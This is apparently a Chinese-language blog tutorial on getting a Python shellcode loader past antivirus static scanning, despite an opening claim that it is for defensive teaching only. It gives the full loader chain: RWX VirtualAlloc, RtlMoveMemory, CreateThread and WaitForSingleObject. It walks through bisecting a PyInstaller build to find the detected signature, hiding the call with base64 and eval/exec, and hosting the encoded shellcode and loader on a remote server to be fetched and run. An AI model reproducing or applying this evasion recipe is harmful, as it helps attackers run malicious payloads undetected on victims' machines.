本實驗僅用于信息防御教學(xué),切勿用于它用途 殺軟的靜態(tài)掃描,基本是按照匹配特征碼,根據(jù)哈希算法從病毒體中提取的病毒特征碼,逐個與程序文件的md5比較。但是呢程序的內(nèi)容只要稍微微改動一點,md5值就會改變所以殺軟還有一種方法是通過模糊哈希算法 ,找出一段不會改變的程序作為特征碼,匹配這段程序的就當(dāng)木馬病毒處理 這是網(wǎng)上python通用的shellcode loader這個加載器我先將shellcode進行hex和base64編碼分離放在了服務(wù)器端,所以靜態(tài)查殺只查loader部分
pyinstaller --noconsole --onefile test.py 我們將第一條語句留著,其他的全部刪除,打包exe發(fā)現(xiàn)沒有查殺然后每次打包增加一條語句,直到發(fā)現(xiàn)進行了查殺將該語句刪除,其他的全部打包,發(fā)現(xiàn)不報病毒了這是調(diào)用win的操作內(nèi)存的語句ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 根據(jù)模糊哈希的意思呢,這個語句md5應(yīng)該不會變,可這后面參數(shù)想咋變就咋變啊。。。 深入研究發(fā)現(xiàn),特征碼原來在前面,只要有RltMoveMemory這段字符就會查殺所以確定RltMoveMemory這段字符就是特征碼有兩種思路,一是換一個可以達到相同效果的函數(shù),但我沒找到,RltCopyMemory也會被查殺另一種思路就是該字符明面上不出現(xiàn)在語句當(dāng)中直接將整個語句加密,用eval或exec函數(shù)運行將上面語句base64轉(zhuǎn)碼,eval運行解碼的語句string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==''' eval(base64.b64decode(string))
既然shellcode能放在服務(wù)器上,那我們的loader是否也可以嘗試一下。。 這里eval函數(shù)不夠用了,只能運行一條語句換成exec函數(shù),可以將Python代碼用分號;連接起來運行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a) 進行base64編碼,放在我的服務(wù)器2.txt文件中
|